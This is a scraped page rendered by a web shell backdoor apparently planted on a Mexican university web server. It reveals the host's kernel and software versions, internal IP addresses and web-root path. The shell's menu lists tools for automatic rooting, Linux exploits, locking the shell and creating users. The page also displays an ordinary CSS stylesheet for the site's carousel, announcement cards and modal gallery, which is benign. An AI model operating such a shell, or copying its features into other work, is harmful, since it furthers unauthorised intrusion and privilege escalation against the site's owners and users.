Linux ns1.utparral.edu.mx 6.8.0-79-generic #79~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 15 16:54:53 UTC 2 x86_64
Apache/2.4.58 (Unix) OpenSSL/1.1.1w PHP/8.2.12 mod_perl/2.0.12 Perl/v5.34.1
: 10.10.1.9 | : 10.10.1.254
Cant Read [ /etc/named.conf ]
daemon
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
README
+ Create Folder
+ Create File
/
opt /
lampp /
htdocs /
ccs_2025 /
[ HOME SHELL ]
Name
Size
Permission
Action
diseno_cabecera_2025.css
5.49
KB
-rw-rwxr--
diseno_index_2025.css
7.34
KB
-rw-rwxr--
diseno_istalaciones_2025.css
6.63
KB
-rw-rwxr--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : diseno_istalaciones_2025.css
/* Reset y tipografía base */ *, *::before, *::after { margin: 0; padding: 0; box-sizing: border-box; } html { font-size: 100%; /* 16px por defecto, adaptable */ scroll-behavior: smooth; -webkit-text-size-adjust: 100%; /* Evita cambios de tamaño en iOS */ } body { font-family: 'Arial', sans-serif; background-color: #f3f3f3; color: #000; line-height: 1.5; font-size: 1rem; /* 16px base */ -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; overflow-x: hidden; } /* Contenedor flexible base */ .container { width: 100%; max-width: 1200px; margin-left: auto; margin-right: auto; padding-left: 1rem; padding-right: 1rem; } /* ========================= */ /* 1. CARRUSEL */ /* ========================= */ .carousel-container { width: 100%; max-width: 1200px; margin: 0 auto; padding: 0 1rem; overflow: hidden; } .carousel { position: relative; width: 100%; aspect-ratio: 16 / 9; /* Mantiene proporción en todos los dispositivos */ background-color: #000; border-radius: 0.5rem; overflow: hidden; } .carousel img { position: absolute; top: 0; left: 0; width: 100%; height: 100%; object-fit: cover; object-position: center; opacity: 0; transition: opacity 0.5s ease-in-out; image-rendering: -webkit-optimize-contrast; } .carousel img.active { opacity: 1; z-index: 1; } .dots { position: absolute; bottom: 1rem; left: 50%; transform: translateX(-50%); display: flex; gap: 0.5rem; z-index: 2; } .dot { width: 12px; height: 12px; border-radius: 50%; background-color: rgba(255, 255, 255, 0.6); cursor: pointer; transition: background-color 0.3s ease; } .dot.active { background-color: #ffffff; } @media (max-width: 768px) { .dot { width: 10px; height: 10px; } } @media (max-width: 480px) { .dot { width: 8px; height: 8px; } .dots { bottom: 0.8rem; gap: 0.4rem; } } /* Anuncios */ .anuncios-container { display: grid; grid-template-columns: repeat(4, 1fr); gap: 15px; width: 100%; max-width: 1200px; margin: 0 auto; } .anuncio-card { background-color: white; border-radius: 8px; box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1); overflow: hidden; display: flex; flex-direction: column; height: 100%; } .anuncio-card img { width: 100%; height: 200px; object-fit: cover; } .anuncio-info { padding: 15px; background-color: #f9f9f9; flex-grow: 1; } .anuncio-info h3 { font-size: 1.1rem; margin-bottom: 8px; color: #333; } .anuncio-info p { font-size: 0.9rem; color: #666; margin-bottom: 10px; } .button-link { background-color: #00a86b; /* Color verde elegante */ color: white; border: none; padding: 15px 25px; /* Botón base más grande */ font-size: 1.2rem; /* Texto base más grande */ border-radius: 12px; /* Bordes redondeados */ cursor: pointer; width: 100%; /* Botón ocupa todo el ancho del contenedor */ transition: background-color 0.4s ease, transform 0.3s ease, box-shadow 0.3s ease; text-align: center; box-shadow: 0 4px 10px rgba(0, 0, 0, 0.2); /* Sombra inicial */ } .button-link:hover { background-color: #007b50; /* Verde más oscuro en hover */ transform: translateY(-5px); /* Efecto de elevación */ box-shadow: 0 8px 20px rgba(0, 0, 0, 0.3); /* Sombra más intensa */ } .button-link:active { transform: translateY(0); /* Restablece la elevación al hacer clic */ box-shadow: 0 4px 10px rgba(0, 0, 0, 0.2); /* Sombra original */ } /* Botones Responsivos */ @media (max-width: 900px) { .button-link { padding: 12px 20px; /* Botones ligeramente más pequeños en pantallas medianas */ font-size: 1rem; } } @media (max-width: 600px) { .button-link { padding: 10px 18px; /* Botones aún más pequeños en pantallas pequeñas */ font-size: 0.9rem; /* Texto más pequeño */ } } @media (max-width: 400px) { .button-link { padding: 8px 15px; /* Botones compactos para móviles */ font-size: 0.8rem; /* Texto más compacto */ } } /* Anuncios Responsivos */ @media (max-width: 1200px) { .anuncios-container { grid-template-columns: repeat(4, 1fr); } } @media (max-width: 900px) { .anuncios-container { grid-template-columns: repeat(3, 1fr); } } @media (max-width: 600px) { .anuncios-container { grid-template-columns: repeat(2, 1fr); } } @media (max-width: 400px) { .anuncios-container { grid-template-columns: 1fr; } } /* Modal */ .modal { display: none; /* Por defecto, oculto */ position: fixed; z-index: 1; left: 0; top: 0; width: 100%; height: 100%; overflow: auto; background-color: rgba(0, 0, 0, 0.5); } /* Ventana modal */ .contenido-modal { position: relative; background-color: white; margin: 5% auto; /* Centrado y algo alejado de la parte superior */ padding: 20px; width: 80%; /* Ancho general */ max-width: 1200px; /* Tamaño máximo */ max-height: 80vh; /* Limitar la altura para que no ocupe más del 80% de la ventana */ border-radius: 8px; overflow-y: auto; /* Scroll vertical si el contenido excede la altura */ animation-name: animarsuperior; animation-duration: 0.5s; } /* Animación */ @keyframes animarsuperior { from { top: -300px; opacity: 0; } to { top: 0; opacity: 1; } } /* Botón cerrar */ .cerrar { color: black; float: right; font-size: 30px; font-weight: bold; cursor: pointer; } .cerrar:hover { color: red; } /* Contenedor de las imágenes tipo grid */ .gallery { display: flex; flex-wrap: wrap; justify-content: center; gap: 15px; padding: 10px; } .gallery img, .gallery video { width: 100%; max-width: 300px; height: auto; border-radius: 10px; object-fit: cover; } /* Tablets (pantallas medianas) */ @media screen and (min-width: 600px) { .gallery img, .gallery video { max-width: 45%; } } /* Laptops/PCs (pantallas grandes) */ @media screen and (min-width: 992px) { .gallery img, .gallery video { max-width: 30%; } }
Close